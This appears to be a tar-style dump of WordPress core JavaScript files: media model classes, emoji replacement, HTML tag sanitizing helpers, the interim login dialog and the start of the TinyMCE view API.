false; } return _.all( this.filters, function( filter ) { return !! filter.call( this, attachment ); }, this ); }, /** * Add or remove an attachment to the collection depending on its validity. * * @param {wp.media.model.Attachment} attachment * @param {Object} options * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ validate: function( attachment, options ) { var valid = this.validator( attachment ), hasAttachment = !! this.get( attachment.cid ); if ( ! valid && hasAttachment ) { this.remove( attachment, options ); } else if ( valid && ! hasAttachment ) { this.add( attachment, options ); } return this; }, /** * Add or remove all attachments from another collection depending on each one's validity. * * @param {wp.media.model.Attachments} attachments * @param {Object} [options={}] * * @fires wp.media.model.Attachments#reset * * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ validateAll: function( attachments, options ) { options = options || {}; _.each( attachments.models, function( attachment ) { this.validate( attachment, { silent: true }); }, this ); if ( ! options.silent ) { this.trigger( 'reset', this, options ); } return this; }, /** * Start observing another attachments collection change events * and replicate them on this collection. * * @param {wp.media.model.Attachments} The attachments collection to observe. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ observe: function( attachments ) { this.observers = this.observers || []; this.observers.push( attachments ); attachments.on( 'add change remove', this._validateHandler, this ); attachments.on( 'add', this._addToTotalAttachments, this ); attachments.on( 'remove', this._removeFromTotalAttachments, this ); attachments.on( 'reset', this._validateAllHandler, this ); this.validateAll( attachments ); return this; }, /** * Stop replicating collection change events from another attachments collection. * * @param {wp.media.model.Attachments} The attachments collection to stop observing. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ unobserve: function( attachments ) { if ( attachments ) { attachments.off( null, null, this ); this.observers = _.without( this.observers, attachments ); } else { _.each( this.observers, function( attachments ) { attachments.off( null, null, this ); }, this ); delete this.observers; } return this; }, /** * Update total attachment count when items are added to a collection. * * @access private * * @since 5.8.0 */ _removeFromTotalAttachments: function() { if ( this.mirroring ) { this.mirroring.totalAttachments = this.mirroring.totalAttachments - 1; } }, /** * Update total attachment count when items are added to a collection. * * @access private * * @since 5.8.0 */ _addToTotalAttachments: function() { if ( this.mirroring ) { this.mirroring.totalAttachments = this.mirroring.totalAttachments + 1; } }, /** * @access private * * @param {wp.media.model.Attachments} attachment * @param {wp.media.model.Attachments} attachments * @param {Object} options * * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ _validateHandler: function( attachment, attachments, options ) { // If we're not mirroring this `attachments` collection, // only retain the `silent` option. options = attachments === this.mirroring ? options : { silent: options && options.silent }; return this.validate( attachment, options ); }, /** * @access private * * @param {wp.media.model.Attachments} attachments * @param {Object} options * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ _validateAllHandler: function( attachments, options ) { return this.validateAll( attachments, options ); }, /** * Start mirroring another attachments collection, clearing out any models already * in the collection. * * @param {wp.media.model.Attachments} The attachments collection to mirror. * @return {wp.media.model.Attachments} Returns itself to allow chaining. */ mirror: function( attachments ) { if ( this.mirroring && this.mirroring === attachments ) { return this; } this.unmirror(); this.mirroring = attachments; // Clear the collection silently. A `reset` event will be fired // when `observe()` calls `validateAll()`. this.reset( [], { silent: true } ); this.observe( attachments ); // Used for the search results. this.trigger( 'attachments:received', this ); return this; }, /** * Stop mirroring another attachments collection. */ unmirror: function() { if ( ! this.mirroring ) { return; } this.unobserve( this.mirroring ); delete this.mirroring; }, /** * Retrieve more attachments from the server for the collection. * * Only works if the collection is mirroring a Query Attachments collection, * and forwards to its `more` method. This collection class doesn't have * server persistence by itself. * * @param {Object} options * @return {Promise} */ more: function( options ) { var deferred = jQuery.Deferred(), mirroring = this.mirroring, attachments = this; if ( ! mirroring || ! mirroring.more ) { return deferred.resolveWith( this ).promise(); } /* * If we're mirroring another collection, forward `more` to * the mirrored collection. Account for a race condition by * checking if we're still mirroring that collection when * the request resolves. */ mirroring.more( options ).done( function() { if ( this === attachments.mirroring ) { deferred.resolveWith( this ); } // Used for the search results. attachments.trigger( 'attachments:received', this ); }); return deferred.promise(); }, /** * Whether there are more attachments that haven't been sync'd from the server * that match the collection's query. * * Only works if the collection is mirroring a Query Attachments collection, * and forwards to its `hasMore` method. This collection class doesn't have * server persistence by itself. * * @return {boolean} */ hasMore: function() { return this.mirroring ? this.mirroring.hasMore() : false; }, /** * Holds the total number of attachments. * * @since 5.8.0 */ totalAttachments: 0, /** * Gets the total number of attachments. * * @since 5.8.0 * * @return {number} The total number of attachments. */ getTotalAttachments: function() { return this.mirroring ? this.mirroring.totalAttachments : 0; }, /** * A custom Ajax-response parser. * * See trac ticket #24753. * * Called automatically by Backbone whenever a collection's models are returned * by the server, in fetch. The default implementation is a no-op, simply * passing through the JSON response. We override this to add attributes to * the collection items. * * @param {Object|Array} response The raw response Object/Array. * @param {Object} xhr * @return {Array} The array of model attributes to be added to the collection */ parse: function( response, xhr ) { if ( ! _.isArray( response ) ) { response = [response]; } return _.map( response, function( attrs ) { var id, attachment, newAttributes; if ( attrs instanceof Backbone.Model ) { id = attrs.get( 'id' ); attrs = attrs.attributes; } else { id = attrs.id; } attachment = wp.media.model.Attachment.get( id ); newAttributes = attachment.parse( attrs, xhr ); if ( ! _.isEqual( attachment.attributes, newAttributes ) ) { attachment.set( newAttributes ); } return attachment; }); }, /** * If the collection is a query, create and mirror an Attachments Query collection. * * @access private * @param {Boolean} refresh Deprecated, refresh parameter no longer used. */ _requery: function() { var props; if ( this.props.get('query') ) { props = this.props.toJSON(); this.mirror( wp.media.model.Query.get( props ) ); } }, /** * If this collection is sorted by `menuOrder`, recalculates and saves * the menu order to the database. * * @return {undefined|Promise} */ saveMenuOrder: function() { if ( 'menuOrder' !== this.props.get('orderby') ) { return; } /* * Removes any uploading attachments, updates each attachment's * menu order, and returns an object with an { id: menuOrder } * mapping to pass to the request. */ var attachments = this.chain().filter( function( attachment ) { return ! _.isUndefined( attachment.id ); }).map( function( attachment, index ) { // Indices start at 1. index = index + 1; attachment.set( 'menuOrder', index ); return [ attachment.id, index ]; }).object().value(); if ( _.isEmpty( attachments ) ) { return; } return wp.media.post( 'save-attachment-order', { nonce: wp.media.model.settings.post.nonce, post_id: wp.media.model.settings.post.id, attachments: attachments }); } },/** @lends wp.media.model.Attachments */{ /** * A function to compare two attachment models in an attachments collection. * * Used as the default comparator for instances of wp.media.model.Attachments * and its subclasses. @see wp.media.model.Attachments._changeOrderby(). * * @param {Backbone.Model} a * @param {Backbone.Model} b * @param {Object} options * @return {number} -1 if the first model should come before the second, * 0 if they are of the same rank and * 1 if the first model should come after. */ comparator: function( a, b, options ) { var key = this.props.get('orderby'), order = this.props.get('order') || 'DESC', ac = a.cid, bc = b.cid; a = a.get( key ); b = b.get( key ); if ( 'date' === key || 'modified' === key ) { a = a || new Date(); b = b || new Date(); } // If `options.ties` is set, don't enforce the `cid` tiebreaker. if ( options && options.ties ) { ac = bc = null; } return ( 'DESC' === order ) ? wp.media.compare( a, b, ac, bc ) : wp.media.compare( b, a, bc, ac ); }, /** @namespace wp.media.model.Attachments.filters */ filters: { /** * @static * Note that this client-side searching is *not* equivalent * to our server-side searching. * * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {Boolean} */ search: function( attachment ) { if ( ! this.props.get('search') ) { return true; } return _.any(['title','filename','description','caption','name'], function( key ) { var value = attachment.get( key ); return value && -1 !== value.search( this.props.get('search') ); }, this ); }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ type: function( attachment ) { var type = this.props.get('type'), atts = attachment.toJSON(), mime, found; if ( ! type || ( _.isArray( type ) && ! type.length ) ) { return true; } mime = atts.mime || ( atts.file && atts.file.type ) || ''; if ( _.isArray( type ) ) { found = _.find( type, function (t) { return -1 !== mime.indexOf( t ); } ); } else { found = -1 !== mime.indexOf( type ); } return found; }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ uploadedTo: function( attachment ) { var uploadedTo = this.props.get('uploadedTo'); if ( _.isUndefined( uploadedTo ) ) { return true; } return uploadedTo === attachment.get('uploadedTo'); }, /** * @static * @param {wp.media.model.Attachment} attachment * * @this wp.media.model.Attachments * * @return {boolean} */ status: function( attachment ) { var status = this.props.get('status'); if ( _.isUndefined( status ) ) { return true; } return status === attachment.get('status'); } } }); module.exports = Attachments; /***/ }), /***/ 9104: /***/ ((module) => { /** * wp.media.model.PostImage * * An instance of an image that's been embedded into a post. * * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails. * * @memberOf wp.media.model * * @class * @augments Backbone.Model * * @param {int} [attributes] Initial model attributes. * @param {int} [attributes.attachment_id] ID of the attachment. **/ var PostImage = Backbone.Model.extend(/** @lends wp.media.model.PostImage.prototype */{ initialize: function( attributes ) { var Attachment = wp.media.model.Attachment; this.attachment = false; if ( attributes.attachment_id ) { this.attachment = Attachment.get( attributes.attachment_id ); if ( this.attachment.get( 'url' ) ) { this.dfd = jQuery.Deferred(); this.dfd.resolve(); } else { this.dfd = this.attachment.fetch(); } this.bindAttachmentListeners(); } // Keep URL in sync with changes to the type of link. this.on( 'change:link', this.updateLinkUrl, this ); this.on( 'change:size', this.updateSize, this ); this.setLinkTypeFromUrl(); this.setAspectRatio(); this.set( 'originalUrl', attributes.url ); }, bindAttachmentListeners: function() { this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl ); this.listenTo( this.attachment, 'sync', this.setAspectRatio ); this.listenTo( this.attachment, 'change', this.updateSize ); }, changeAttachment: function( attachment, props ) { this.stopListening( this.attachment ); this.attachment = attachment; this.bindAttachmentListeners(); this.set( 'attachment_id', this.attachment.get( 'id' ) ); this.set( 'caption', this.attachment.get( 'caption' ) ); this.set( 'alt', this.attachment.get( 'alt' ) ); this.set( 'size', props.get( 'size' ) ); this.set( 'align', props.get( 'align' ) ); this.set( 'link', props.get( 'link' ) ); this.updateLinkUrl(); this.updateSize(); }, setLinkTypeFromUrl: function() { var linkUrl = this.get( 'linkUrl' ), type; if ( ! linkUrl ) { this.set( 'link', 'none' ); return; } // Default to custom if there is a linkUrl. type = 'custom'; if ( this.attachment ) { if ( this.attachment.get( 'url' ) === linkUrl ) { type = 'file'; } else if ( this.attachment.get( 'link' ) === linkUrl ) { type = 'post'; } } else { if ( this.get( 'url' ) === linkUrl ) { type = 'file'; } } this.set( 'link', type ); }, updateLinkUrl: function() { var link = this.get( 'link' ), url; switch( link ) { case 'file': if ( this.attachment ) { url = this.attachment.get( 'url' ); } else { url = this.get( 'url' ); } this.set( 'linkUrl', url ); break; case 'post': this.set( 'linkUrl', this.attachment.get( 'link' ) ); break; case 'none': this.set( 'linkUrl', '' ); break; } }, updateSize: function() { var size; if ( ! this.attachment ) { return; } if ( this.get( 'size' ) === 'custom' ) { this.set( 'width', this.get( 'customWidth' ) ); this.set( 'height', this.get( 'customHeight' ) ); this.set( 'url', this.get( 'originalUrl' ) ); return; } size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ]; if ( ! size ) { return; } this.set( 'url', size.url ); this.set( 'width', size.width ); this.set( 'height', size.height ); }, setAspectRatio: function() { var full; if ( this.attachment && this.attachment.get( 'sizes' ) ) { full = this.attachment.get( 'sizes' ).full; if ( full ) { this.set( 'aspectRatio', full.width / full.height ); return; } } this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) ); } }); module.exports = PostImage; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /** * @output wp-includes/js/media-models.js */ var Attachment, Attachments, l10n, media; /** @namespace wp */ window.wp = window.wp || {}; /** * Create and return a media frame. * * Handles the default media experience. * * @alias wp.media * @memberOf wp * @namespace * * @param {Object} attributes The properties passed to the main media controller. * @return {wp.media.view.MediaFrame} A media workflow. */ media = wp.media = function( attributes ) { var MediaFrame = media.view.MediaFrame, frame; if ( ! MediaFrame ) { return; } attributes = _.defaults( attributes || {}, { frame: 'select' }); if ( 'select' === attributes.frame && MediaFrame.Select ) { frame = new MediaFrame.Select( attributes ); } else if ( 'post' === attributes.frame && MediaFrame.Post ) { frame = new MediaFrame.Post( attributes ); } else if ( 'manage' === attributes.frame && MediaFrame.Manage ) { frame = new MediaFrame.Manage( attributes ); } else if ( 'image' === attributes.frame && MediaFrame.ImageDetails ) { frame = new MediaFrame.ImageDetails( attributes ); } else if ( 'audio' === attributes.frame && MediaFrame.AudioDetails ) { frame = new MediaFrame.AudioDetails( attributes ); } else if ( 'video' === attributes.frame && MediaFrame.VideoDetails ) { frame = new MediaFrame.VideoDetails( attributes ); } else if ( 'edit-attachments' === attributes.frame && MediaFrame.EditAttachments ) { frame = new MediaFrame.EditAttachments( attributes ); } delete attributes.frame; media.frame = frame; return frame; }; /** @namespace wp.media.model */ /** @namespace wp.media.view */ /** @namespace wp.media.controller */ /** @namespace wp.media.frames */ _.extend( media, { model: {}, view: {}, controller: {}, frames: {} }); // Link any localized strings. l10n = media.model.l10n = window._wpMediaModelsL10n || {}; // Link any settings. media.model.settings = l10n.settings || {}; delete l10n.settings; Attachment = media.model.Attachment = __webpack_require__( 3343 ); Attachments = media.model.Attachments = __webpack_require__( 8266 ); media.model.Query = __webpack_require__( 1288 ); media.model.PostImage = __webpack_require__( 9104 ); media.model.Selection = __webpack_require__( 4134 ); /** * ======================================================================== * UTILITIES * ======================================================================== */ /** * A basic equality comparator for Backbone models. * * Used to order models within a collection - @see wp.media.model.Attachments.comparator(). * * @param {mixed} a The primary parameter to compare. * @param {mixed} b The primary parameter to compare. * @param {string} ac The fallback parameter to compare, a's cid. * @param {string} bc The fallback parameter to compare, b's cid. * @return {number} -1: a should come before b. * 0: a and b are of the same rank. * 1: b should come before a. */ media.compare = function( a, b, ac, bc ) { if ( _.isEqual( a, b ) ) { return ac === bc ? 0 : (ac > bc ? -1 : 1); } else { return a > b ? -1 : 1; } }; _.extend( media, /** @lends wp.media */{ /** * media.template( id ) * * Fetch a JavaScript template for an id, and return a templating function for it. * * See wp.template() in `wp-includes/js/wp-util.js`. * * @borrows wp.template as template */ template: wp.template, /** * media.post( [action], [data] ) * * Sends a POST request to WordPress. * See wp.ajax.post() in `wp-includes/js/wp-util.js`. * * @borrows wp.ajax.post as post */ post: wp.ajax.post, /** * media.ajax( [action], [options] ) * * Sends an XHR request to WordPress. * See wp.ajax.send() in `wp-includes/js/wp-util.js`. * * @borrows wp.ajax.send as ajax */ ajax: wp.ajax.send, /** * Scales a set of dimensions to fit within bounding dimensions. * * @param {Object} dimensions * @return {Object} */ fit: function( dimensions ) { var width = dimensions.width, height = dimensions.height, maxWidth = dimensions.maxWidth, maxHeight = dimensions.maxHeight, constraint; /* * Compare ratios between the two values to determine * which max to constrain by. If a max value doesn't exist, * then the opposite side is the constraint. */ if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) { constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height'; } else if ( _.isUndefined( maxHeight ) ) { constraint = 'width'; } else if ( _.isUndefined( maxWidth ) && height > maxHeight ) { constraint = 'height'; } // If the value of the constrained side is larger than the max, // then scale the values. Otherwise return the originals; they fit. if ( 'width' === constraint && width > maxWidth ) { return { width : maxWidth, height: Math.round( maxWidth * height / width ) }; } else if ( 'height' === constraint && height > maxHeight ) { return { width : Math.round( maxHeight * width / height ), height: maxHeight }; } else { return { width : width, height: height }; } }, /** * Truncates a string by injecting an ellipsis into the middle. * Useful for filenames. * * @param {string} string * @param {number} [length=30] * @param {string} [replacement=…] * @return {string} The string, unless length is greater than string.length. */ truncate: function( string, length, replacement ) { length = length || 30; replacement = replacement || '…'; if ( string.length <= length ) { return string; } return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 ); } }); /** * ======================================================================== * MODELS * ======================================================================== */ /** * wp.media.attachment * * @static * @param {string} id A string used to identify a model. * @return {wp.media.model.Attachment} */ media.attachment = function( id ) { return Attachment.get( id ); }; /** * A collection of all attachments that have been fetched from the server. * * @static * @member {wp.media.model.Attachments} */ Attachments.all = new Attachments(); /** * wp.media.query * * Shorthand for creating a new Attachments Query. * * @param {Object} [props] * @return {wp.media.model.Attachments} */ media.query = function( props ) { return new Attachments( null, { props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } ) }); }; /******/ })() ; wp-emoji.js 0000644 00000021411 15111757753 0006644 0 ustar 00 /** * wp-emoji.js is used to replace emoji with images in browsers when the browser * doesn't support emoji natively. * * @output wp-includes/js/wp-emoji.js */ ( function( window, settings ) { /** * Replaces emoji with images when browsers don't support emoji. * * @since 4.2.0 * @access private * * @class * * @see Twitter Emoji library * @link https://github.com/twitter/twemoji * * @return {Object} The wpEmoji parse and test functions. */ function wpEmoji() { var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver, // Compression and maintain local scope. document = window.document, // Private. twemoji, timer, loaded = false, count = 0, ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0; /** * Detect if the browser supports SVG. * * @since 4.6.0 * @private * * @see Modernizr * @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js * * @return {boolean} True if the browser supports svg, false if not. */ function browserSupportsSvgAsImage() { if ( !! document.implementation.hasFeature ) { return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ); } // document.implementation.hasFeature is deprecated. It can be presumed // if future browsers remove it, the browser will support SVGs as images. return true; } /** * Runs when the document load event is fired, so we can do our first parse of * the page. * * Listens to all the DOM mutations and checks for added nodes that contain * emoji characters and replaces those with twitter emoji images. * * @since 4.2.0 * @private */ function load() { if ( loaded ) { return; } // Ensure twemoji is available on the global window before proceeding. if ( typeof window.twemoji === 'undefined' ) { // Break if waiting for longer than 30 seconds. if ( count > 600 ) { return; } // Still waiting. window.clearTimeout( timer ); timer = window.setTimeout( load, 50 ); count++; return; } twemoji = window.twemoji; loaded = true; // Initialize the mutation observer, which checks all added nodes for // replaceable emoji characters. if ( MutationObserver ) { new MutationObserver( function( mutationRecords ) { var i = mutationRecords.length, addedNodes, removedNodes, ii, node; while ( i-- ) { addedNodes = mutationRecords[ i ].addedNodes; removedNodes = mutationRecords[ i ].removedNodes; ii = addedNodes.length; /* * Checks if an image has been replaced by a text element * with the same text as the alternate description of the replaced image. * (presumably because the image could not be loaded). * If it is, do absolutely nothing. * * Node type 3 is a TEXT_NODE. * * @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType */ if ( ii === 1 && removedNodes.length === 1 && addedNodes[0].nodeType === 3 && removedNodes[0].nodeName === 'IMG' && addedNodes[0].data === removedNodes[0].alt && 'load-failed' === removedNodes[0].getAttribute( 'data-error' ) ) { return; } // Loop through all the added nodes. while ( ii-- ) { node = addedNodes[ ii ]; // Node type 3 is a TEXT_NODE. if ( node.nodeType === 3 ) { if ( ! node.parentNode ) { continue; } if ( ie11 ) { /* * IE 11's implementation of MutationObserver is buggy. * It unnecessarily splits text nodes when it encounters a HTML * template interpolation symbol ( "{{", for example ). So, we * join the text nodes back together as a work-around. * * Node type 3 is a TEXT_NODE. */ while( node.nextSibling && 3 === node.nextSibling.nodeType ) { node.nodeValue = node.nodeValue + node.nextSibling.nodeValue; node.parentNode.removeChild( node.nextSibling ); } } node = node.parentNode; } if ( test( node.textContent ) ) { parse( node ); } } } } ).observe( document.body, { childList: true, subtree: true } ); } parse( document.body ); } /** * Tests if a text string contains emoji characters. * * @since 4.3.0 * * @memberOf wp.emoji * * @param {string} text The string to test. * * @return {boolean} Whether the string contains emoji characters. */ function test( text ) { // Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included. var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/, // Surrogate pair range. Only tests for the second half. pair = /[\uDC00-\uDFFF]/; if ( text ) { return pair.test( text ) || single.test( text ); } return false; } /** * Parses any emoji characters into Twemoji images. * * - When passed an element the emoji characters are replaced inline. * - When passed a string the emoji characters are replaced and the result is * returned. * * @since 4.2.0 * * @memberOf wp.emoji * * @param {HTMLElement|string} object The element or string to parse. * @param {Object} args Additional options for Twemoji. * * @return {HTMLElement|string} A string where all emoji are now image tags of * emoji. Or the element that was passed as the first argument. */ function parse( object, args ) { var params; /* * If the browser has full support, twemoji is not loaded or our * object is not what was expected, we do not parse anything. */ if ( settings.supports.everything || ! twemoji || ! object || ( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) { return object; } // Compose the params for the twitter emoji library. args = args || {}; params = { base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl, ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext, className: args.className || 'emoji', callback: function( icon, options ) { // Ignore some standard characters that TinyMCE recommends in its character map. switch ( icon ) { case 'a9': case 'ae': case '2122': case '2194': case '2660': case '2663': case '2665': case '2666': return false; } if ( settings.supports.everythingExceptFlag && ! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags. ! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags. ) { return false; } return ''.concat( options.base, icon, options.ext ); }, attributes: function() { return { role: 'img' }; }, onerror: function() { if ( twemoji.parentNode ) { this.setAttribute( 'data-error', 'load-failed' ); twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji ); } }, doNotParse: function( node ) { if ( node && node.className && typeof node.className === 'string' && node.className.indexOf( 'wp-exclude-emoji' ) !== -1 ) { // Do not parse this node. Emojis will not be replaced in this node and all sub-nodes. return true; } return false; } }; if ( typeof args.imgAttr === 'object' ) { params.attributes = function() { return args.imgAttr; }; } return twemoji.parse( object, params ); } /** * Initialize our emoji support, and set up listeners. */ if ( settings ) { if ( settings.DOMReady ) { load(); } else { settings.readyCallback = load; } } return { parse: parse, test: test }; } window.wp = window.wp || {}; /** * @namespace wp.emoji */ window.wp.emoji = new wpEmoji(); } )( window, window._wpemojiSettings ); wp-sanitize.js 0000644 00000002475 15111757753 0007400 0 ustar 00 /** * @output wp-includes/js/wp-sanitize.js */ ( function () { window.wp = window.wp || {}; /** * wp.sanitize * * Helper functions to sanitize strings. */ wp.sanitize = { /** * Strip HTML tags. * * @param {string} text Text to strip the HTML tags from. * * @return Stripped text. */ stripTags: function( text ) { text = text || ''; // Do the replacement. var _text = text .replace( /<!--[\s\S]*?(-->|$)/g, '' ) .replace( /<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/ig, '' ) .replace( /<\/?[a-z][\s\S]*?(>|$)/ig, '' ); // If the initial text is not equal to the modified text, // do the search-replace again, until there is nothing to be replaced. if ( _text !== text ) { return wp.sanitize.stripTags( _text ); } // Return the text with stripped tags. return _text; }, /** * Strip HTML tags and convert HTML entities. * * @param {string} text Text to strip tags and convert HTML entities. * * @return Sanitized text. False on failure. */ stripTagsAndEncodeText: function( text ) { var _text = wp.sanitize.stripTags( text ), textarea = document.createElement( 'textarea' ); try { textarea.textContent = _text; _text = wp.sanitize.stripTags( textarea.value ); } catch ( er ) {} return _text; } }; }() ); wp-auth-check.js 0000644 00000010157 15111757753 0007562 0 ustar 00 /** * Interim login dialog. * * @output wp-includes/js/wp-auth-check.js */ ( function( $ ) { var wrap, tempHidden, tempHiddenTimeout; /** * Shows the authentication form popup. * * @since 3.6.0 * @private */ function show() { var parent = $( '#wp-auth-check' ), form = $( '#wp-auth-check-form' ), noframe = wrap.find( '.wp-auth-fallback-expired' ), frame, loaded = false; if ( form.length ) { // Add unload confirmation to counter (frame-busting) JS redirects. $( window ).on( 'beforeunload.wp-auth-check', function( event ) { event.originalEvent.returnValue = window.wp.i18n.__( 'Your session has expired. You can log in again from this page or go to the login page.' ); }); frame = $( '<iframe id="wp-auth-check-frame" frameborder="0">' ).attr( 'title', noframe.text() ); frame.on( 'load', function() { var height, body; loaded = true; // Remove the spinner to avoid unnecessary CPU/GPU usage. form.removeClass( 'loading' ); try { body = $( this ).contents().find( 'body' ); height = body.height(); } catch( er ) { wrap.addClass( 'fallback' ); parent.css( 'max-height', '' ); form.remove(); noframe.focus(); return; } if ( height ) { if ( body && body.hasClass( 'interim-login-success' ) ) { hide(); } else { parent.css( 'max-height', height + 40 + 'px' ); } } else if ( ! body || ! body.length ) { // Catch "silent" iframe origin exceptions in WebKit // after another page is loaded in the iframe. wrap.addClass( 'fallback' ); parent.css( 'max-height', '' ); form.remove(); noframe.focus(); } }).attr( 'src', form.data( 'src' ) ); form.append( frame ); } $( 'body' ).addClass( 'modal-open' ); wrap.removeClass( 'hidden' ); if ( frame ) { frame.focus(); /* * WebKit doesn't throw an error if the iframe fails to load * because of "X-Frame-Options: DENY" header. * Wait for 10 seconds and switch to the fallback text. */ setTimeout( function() { if ( ! loaded ) { wrap.addClass( 'fallback' ); form.remove(); noframe.focus(); } }, 10000 ); } else { noframe.focus(); } } /** * Hides the authentication form popup. * * @since 3.6.0 * @private */ function hide() { var adminpage = window.adminpage, wp = window.wp; $( window ).off( 'beforeunload.wp-auth-check' ); // When on the Edit Post screen, speed up heartbeat // after the user logs in to quickly refresh nonces. if ( ( adminpage === 'post-php' || adminpage === 'post-new-php' ) && wp && wp.heartbeat ) { wp.heartbeat.connectNow(); } wrap.fadeOut( 200, function() { wrap.addClass( 'hidden' ).css( 'display', '' ); $( '#wp-auth-check-frame' ).remove(); $( 'body' ).removeClass( 'modal-open' ); }); } /** * Set or reset the tempHidden variable used to pause showing of the modal * after a user closes it without logging in. * * @since 5.5.0 * @private */ function setShowTimeout() { tempHidden = true; window.clearTimeout( tempHiddenTimeout ); tempHiddenTimeout = window.setTimeout( function() { tempHidden = false; }, 300000 // 5 min. ); } /** * Binds to the Heartbeat Tick event. * * - Shows the authentication form popup if user is not logged in. * - Hides the authentication form popup if it is already visible and user is * logged in. * * @ignore * * @since 3.6.0 * * @param {Object} e The heartbeat-tick event that has been triggered. * @param {Object} data Response data. */ $( function() { /** * Hides the authentication form popup when the close icon is clicked. * * @ignore * * @since 3.6.0 */ wrap = $( '#wp-auth-check-wrap' ); wrap.find( '.wp-auth-check-close' ).on( 'click', function() { hide(); setShowTimeout(); }); }).on( 'heartbeat-tick.wp-auth-check', function( e, data ) { if ( 'wp-auth-check' in data ) { if ( ! data['wp-auth-check'] && wrap.hasClass( 'hidden' ) && ! tempHidden ) { show(); } else if ( data['wp-auth-check'] && ! wrap.hasClass( 'hidden' ) ) { hide(); } } }); }(jQuery)); wp-sanitize.min.js 0000644 00000000712 15111757753 0010152 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},wp.sanitize={stripTags:function(t){var e=(t=t||"").replace(/<!--[\s\S]*?(-->|$)/g,"").replace(/<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/gi,"").replace(/<\/?[a-z][\s\S]*?(>|$)/gi,"");return e!==t?wp.sanitize.stripTags(e):e},stripTagsAndEncodeText:function(t){var t=wp.sanitize.stripTags(t),e=document.createElement("textarea");try{e.textContent=t,t=wp.sanitize.stripTags(e.value)}catch(t){}return t}}; mce-view.js 0000644 00000062371 15111757753 0006643 0 ustar 00 /** * @output wp-includes/js/mce-view.js */ /* global tinymce */ /* * The TinyMCE view API. * * Note: this API is "experimental" meaning that it will probably change * in the next few releases based on feedback from 3.9.0. * If you decide to use it, please follow the development closely. * * Diagram * * |- registered view constructor (type) * | |- view instance (unique text) * | | |- editor 1 * | | | |- view node * | | | |- view node * | | | |- ... * | | |- editor 2 * | | | |- ... * | |- view instance * | | |- ... * |- registered view * | |- ... */ ( function( window, wp, shortcode, $ ) { 'use strict'; var views = {}, instances = {}; wp.mce = wp.mce || {}; /** * wp.mce.views * * A set of utilities that simplifies adding custom UI within a TinyMCE editor. * At its core, it serves as a series of converters, transforming text to a * custom UI, and back again. */ wp.mce.views = { /** * Registers a new view type. * * @param {string} type The view type. * @param {Object} extend An object to extend wp.mce.View.prototype with. */ register: function( type, extend ) { views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) ); }, /** * Unregisters a view type. * * @param {string} type The view type. */ unregister: function( type ) { delete views[ type ]; }, /** * Returns the settings of a view type. * * @param {string} type The view type. * * @return {Function} The view constructor. */ get: function( type ) { return views[ type ]; }, /** 